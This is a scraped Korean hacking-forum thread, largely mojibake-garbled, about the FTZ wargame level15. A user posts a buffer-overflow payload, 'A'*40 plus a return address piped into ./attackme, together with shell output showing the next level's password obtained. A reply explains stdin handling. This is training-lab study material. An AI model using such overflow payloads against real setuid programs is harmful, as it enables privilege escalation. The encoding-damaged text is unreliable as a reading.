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 1574, 3/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ka0r1
   ÀÌ µÎ°³ÀÇ ¸í·É¾îÀÇ Â÷ÀÌÁ¡ÀÌ ¹º°¡¿ä?

http://www.hackerschool.org/HS_Boards/zboard.php?desc=asc&no=1907 [º¹»ç]


[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
my-pass

Level16 Password is "xxxxxxxxxxxxxxxxxxxxxxxxx".


[4]+  Stopped                 ( python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat ) | ./attackme
[level15@ftz level15]$ ./attackme | (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA©÷„
my-pass
[level15@ftz level15]$












attackÀÌ ¾Õ¿¡ ÀÖÀ» ¶© level16±ÇÇÑÀ» Ãëµæ ¸øÇÏ°í
attackÀÌ µÚ¿¡ ÀÖÀ» ¶© level16±ÇÇÑÀ» ÃëµæÇÕ´Ï´Ù.

  Hit : 2085     Date : 2017/12/20 01:09



    
gihacker 15¹ø ¹®Á¦ ¼Ò½º¸¦ º¸½Ã¸é

fgets(buf, 45, stdin);

stdin À¸·Î buf º¯¼ö¿¡ 45¹ÙÀÌÆ®¸¦ ÀԷ¹ްí Àֳ׿ä

±×·¡¼­ attackme ÀÇ ÀÎÀÚ·Î ÆäÀ̷ε带 Àü´ÞÇغÁ¾ß buf¿¡´Â ¾Æ¹«°Íµµ Àü´ÞµÇÁö ¾Ê½À´Ï´Ù

¸¸¾à¿¡ attackme ÀÇ Ã¹¹ø° ÀÎÀڷκÎÅÍ buf ¿¡ °ªÀ» ÀÔ·ÂÇÑ´Ù¸é ÇØÅ·ÀÌ µÇÁö¸¸ Áö±Ý ¹®Á¦´Â

stdin À» »ç¿ëÇÏ¿© ÀÔ·ÂÀ» ¹Þ±â¶§¹®¿¡ ¾ÈµÇ´Â°Å¿¡¿ä
2017/12/20  
ka0r1 gilhacker // ´äº¯ °¨»çÇÕ´Ï´Ù. 2017/12/22  
1534   Ãë¾àÁ¡ ºÐ¼®¿¡°ü·Ã Áú¹® ¿Ã¸³´Ï´Ù.[3]     taeyunkl
04/11 3040
1533   Ãë¾àÇÑÁ¡?[1]     piousdo
02/11 3125
1532   ÀÌ ÇØÅ·ÇÁ·Î±×·¥ÂÍ Ã£¾ÆÁÖ¼¼¿ä.[6]     exit4123
05/23 5272
  ÀÌ µÎ°³ÀÇ ¸í·É¾îÀÇ Â÷ÀÌÁ¡ÀÌ ¹º°¡¿ä?[2]     ka0r1
12/20 2084
1530   ÀÌ ¹®ÀåÀÇ ¹®Á¦°¡ ¹ºÁö Á» ¾Ë·ÁÁÖ¼¼¿ä[2]     rardar
03/23 3547
1529   ÀÌ »çÀÌÆ® ÇØÅ· °¡´ÉÇϳª¿ä?     pchackerman
08/01 3235
1528   ÀÌ »çÀÌÆ® ¿îµ¿ÀåÀÌ¿ä[4]     sypower07
05/14 3588
1527   ÀÌ ¾î¼ÀÄÚµå ¼³¸íÁ» ÇØÁÖ¼¼¿ä./.[1]     kumi123
06/03 3111
1526   ÀÏÁ¤È¨ÆäÀÌÁö¸¦...[2]     niceycg
01/04 3060
1525   ÀÌÁ¦ »çȸÀÎÀ¸·Î~ Á¶¾ð!´äº¯ºÎŹ![1]     ecstasy5001
09/03 3408
1524   ÀÌÇÁ·Î±×·¥Àº ¸Õ°¡¿ä ÇØÅ· Çϴ°Ǵë[9]     ±èÅÂÈñ
02/14 4400
1523   ÀÌÇصµ ¾È°¡°í óÀ½ º¸´Â °Å¶ó¼­¿ä.....[1]     geneve27
04/27 2927
1522   ÀÎÅÍ³Ý ÇØÅ·[3]     dlwldjs01
02/27 3947
1521   ÀÎÅÍ³Ý IPÁÖ¼Ò °ü·ÃÇؼ­ ±Ã±ÝÇÑ°Ô ÀÖ¾î¿ä.[7]     nutrue
08/22 3121
1520   ÀÎÅͳݿ¡ ´ëÇؼ­ Áú¹®ÀÌ¿¡¿è~[2]     BkeMan
11/30 3709
1519   ÀÌ°Ç ¹«½¼ ÇØÅ·ÀÌÁÒ?[¾Ï²¨¶Ñ ¸Ö·¯][3]     netdbs
04/06 3803
1518   ÀÌ°ÍÁ» °¡¸£ÃÄÁÖ¼¼¿ä..[3]     qptsj
12/13 3348
1517 ºñ¹Ð±ÛÀÔ´Ï´Ù  À̰͵µ ÇØÅ·Àΰ¡¿ä?     rain37
03/19 4
1516   À̰͵µ ¸Â´ÂÁö ¸ð¸£°Ú´Âµ¥¿ä..[1]     ÇÙ¹æÁö¹ý
11/15 3495
1515   ÀÌ°Ô ¹«½¼ ÇÁ·Î±×·¥Àΰ¡¿ä?[1]     kejy
09/26 3294
[1][2] 3 [4][5][6][7][8][9][10]..[79]

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